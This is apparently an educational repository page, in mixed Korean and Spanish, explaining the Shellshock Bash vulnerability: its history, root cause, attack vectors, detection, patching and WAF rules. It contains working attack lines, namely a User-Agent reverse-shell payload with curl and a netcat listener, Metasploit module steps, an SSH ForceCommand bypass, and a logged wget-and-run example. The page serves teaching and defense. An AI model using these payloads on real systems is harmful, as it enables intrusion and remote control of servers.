
교육용 저장소로, Shellshock (CVE-2014-6271) 취약점을 상세히 설명하며, 기술적 분석, 공격 벡터, 개념 증명 익스플로잇, Bash 환경 변수 주입에 대한 완화 조치를 포함합니다.
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
Bash 환경 변수 주입을 통한 원격 코드 실행
"수십 년 동안 Bash에 숨겨져 있다가 24시간도 안 되어 인터넷의 기초를 뒤흔든 결함."
Shellshock(Bashdoor라고도 알려짐)는 GNU Bash 명령어 해석기의 중요한 취약점 계열로서, 원격 공격자가 대상 시스템에서 임의 명령을 실행할 수 있게 합니다.
근본적인 오류: Bash는 함수 정의가 끝날 때 환경 변수 분석을 중단하지 않았습니다. () { :; }; 이후에 연결된 모든 코드가 자동으로 실행되었습니다.
환경 변수 → 함수 정의 → [여기서 추가 코드 실행] ← 버그
웹 서버(CGI/Apache), SSH 서비스 및 DHCP 클라이언트가 헤더나 매개변수를 Bash 환경 변수로 변환하기 때문에 공격 표면이 엄청났습니다.
12 Sep 2014 ──── Stéphane Chazelas가 버그를 발견하여 Bash 유지보수자인 Chet Ramey에게 보고
이 버그는 Bash에 20년 넘게 존재했습니다.
24 Sep 2014 ──── 공개 공개 + 패치 배포 (CVE-2014-6271)
몇 시간 후: 봇넷이 대규모로 인터넷을 스캔 중.
25-30 Sep 2014 ── 관련 취약점 발견:
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
Oct 2014 ──────── 수백만 건의 공격 기록. 심각도가 Heartbleed와 비교됨.
Bash가 환경 변수에서 함수를 가져올 때 함수의 닫는 }까지 읽습니다. 취약한 버전에서는 중단하는 대신 이후 코드를 계속 처리했습니다.
# Variable de entorno maliciosa:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# Bash vulnerable al inicializarse:
# 1. Lee la definición de función → OK
# 2. Encuentra }; → debería parar
# 3. CONTINÚA → ejecuta /bin/cat /etc/passwd ← BUG
Atacante Servidor Apache (CGI) Bash (vulnerable)
│ │ │
│ HTTP Request │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ Convierte headers a env vars │
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│ │───────────────────────────────▶│
│ │ │ Ejecuta cmd
│ │ │ como www-data
│◀──────────────────────────────│◀───────────────────────────────│
│ Respuesta + output del cmd │ │
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
취약한 시스템의 결과:
VULNERABLE
this is a test
패치된 시스템의 결과:
this is a test
(또는 구문 오류 — "VULNERABLE"을 절대 출력하지 않음)
.cgi 스크립트를 사용하는 웹 서버는 HTTP 헤더를 Bash 환경 변수로 변환합니다.
영향을 받는 헤더: User-Agent, Referer, Cookie, X-Forwarded-For, 및 모든 사용자 정의 헤더
# Si el servidor tiene ForceCommand configurado, un atacante con clave válida puede bypassearlo
ssh user@target '() { :;}; /bin/bash'
악의적인 DHCP 서버는 DHCP 응답을 처리하기 위해 Bash를 사용하는 클라이언트에 환경 변수를 주입할 수 있습니다.
# Cualquier proceso que herede variables de entorno y ejecute Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"
nc -lvnp 4444
# Payload que se inyecta en el User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://sitio-vulnerable.com/cgi-bin/test.cgi
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run
# Buscar el patrón característico en access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# Ejemplo de log malicioso:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
# Procesos hijos de www-data/apache que no deberían existir
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
- /tmp, /var/tmp, /dev/shm에 새 실행 파일
- 웹 서버에서 알 수 없는 IP로의 나가는 연결
- /etc/crontab 또는 /etc/passwd 수정
- 터미널 없이 www-data로 실행 중인 bash 프로세스
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / Fedora
sudo yum update bash
# Verificar versión parcheada (debe mostrar "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABLE
# GNU bash, version 4.3.33(1)-release → PARCHEADO (varía por distro)
반환값은 "this is a test"만 있어야 함 — 절대 "VULNERABLE"가 아니어야 함
# Debe devolver solo "this is a test" — NUNCA "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
# 1. Deshabilitar CGI si no es necesario
a2dismod cgi
# 2. Regla WAF para bloquear el patrón
# En ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"
# 3. Monitoreo continuo de logs
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"
이 저장소는 교육 목적, 사이버 보안 연구 및 승인된 보안 감사 전용입니다. 여기에 제시된 모든 정보는 공개 도메인입니다. 명시적 승인 없이 시스템을 테스트하는 것은 대부분의 관할권 법률에 따라 불법입니다. 저자는 이 정보의 오용에 대해 책임을 지지 않습니다.
Stéphane Chazelas가 발견함 · 2014년 9월 24일에 공개됨
CVSS 점수: 10.0 (Critical) → 이후 CVSSv3에서 9.8로 조정됨
| 제품 | 취약한 버전 | 상태 |
|---|
| GNU Bash | 1.0.3 – 4.3 | 패치됨 |
| Linux (Debian/Ubuntu/CentOS/RHEL) | 2014년 9월 이전 버전 | 패치됨 |
| Apple macOS / OS X | 10.10 및 이전 | 패치됨 (보안 업데이트 2014-005) |
| Bash가 내장된 IoT 장치 | 다양함 | 제조사에 따라 다름 |
| Apache에서 CGI를 사용하는 웹 서버 | 취약한 Bash가 있는 모든 버전 | 패치됨 |